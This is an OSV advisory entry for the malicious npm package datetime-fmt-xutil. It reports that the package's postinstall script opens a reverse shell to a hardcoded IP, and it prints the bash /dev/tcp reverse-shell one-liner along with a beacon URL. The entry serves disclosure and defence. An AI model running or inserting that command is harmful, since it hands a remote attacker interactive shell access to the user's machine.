MAL-2026-13935

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/datetime-fmt-xutil/MAL-2026-13935.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-13935
Published
2026-08-13T14:59:12Z
Modified
2026-08-13T15:30:14.620613857Z
Summary
Malicious code in datetime-fmt-xutil (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (7f916f6db3bec145472f71c43358b7e8056efb981041a3b4e9bffe8bbaec9997)

The npm package's postinstall.js opens a TCP connection to the hardcoded IP 8.135.48.40 on port 4444 and pipes /bin/sh stdio through the socket, granting interactive shell access on the installer's machine to the operator of that endpoint. Bash (bash -i >& /dev/tcp/8.135.48.40/4444 0>&1) and python3 pty.spawn one-liners are executed as fallbacks, and failures are beaconed via HTTP GET to http://8.135.48.40/shell/failed?err=.... The behavior runs unconditionally at npm install via scripts.postinstall; the package's index.js date-formatting shim is a cover for the reverse-shell payload. The hardcoded bare IP has no relation to any declared publisher.

Database specific 
{
    "malicious-packages-origins": [
        {
            "import_time": "2026-08-13T15:26:43.058150327Z",
            "sha256": "7f916f6db3bec145472f71c43358b7e8056efb981041a3b4e9bffe8bbaec9997",
            "modified_time": "2026-08-13T14:59:12Z",
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-017626",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / datetime-fmt-xutil

Package

Name
datetime-fmt-xutil
View open source insights on deps.dev
Purl
pkg:npm/datetime-fmt-xutil

Affected ranges

Affected versions

1.*
1.0.0

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/datetime-fmt-xutil/MAL-2026-13935.json"
indicators 
{
    "evidence_files": [
        {
            "sha256": "6da6821e4a53bdd6c0e40a6f81a0491b98031c5444cf7582b3ec40c08e4718a2",
            "tlsh": "9811ebe905fad07caf7b247866bfa426211342077819eee4b8ce0b03af125680c123a1",
            "path": "postinstall.js"
        }
    ],
    "package_integrity": [
        {
            "filename": "datetime-fmt-xutil-1.0.0.tgz",
            "hashes": {
                "sha1": "8937d773632c10a8e05acc23d03ddd8099acc43a",
                "sha512_sri": "sha512-MJMGUiQXFJOq1piLG2HB0bgIulNXybObeJwZlGI53Rei7Au8x6GnhAd8oeyN1DrBRk8pIwEC9ikhFGHo+K9/kQ=="
            }
        }
    ]
}
cwes 
[
    {
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature."
    }
]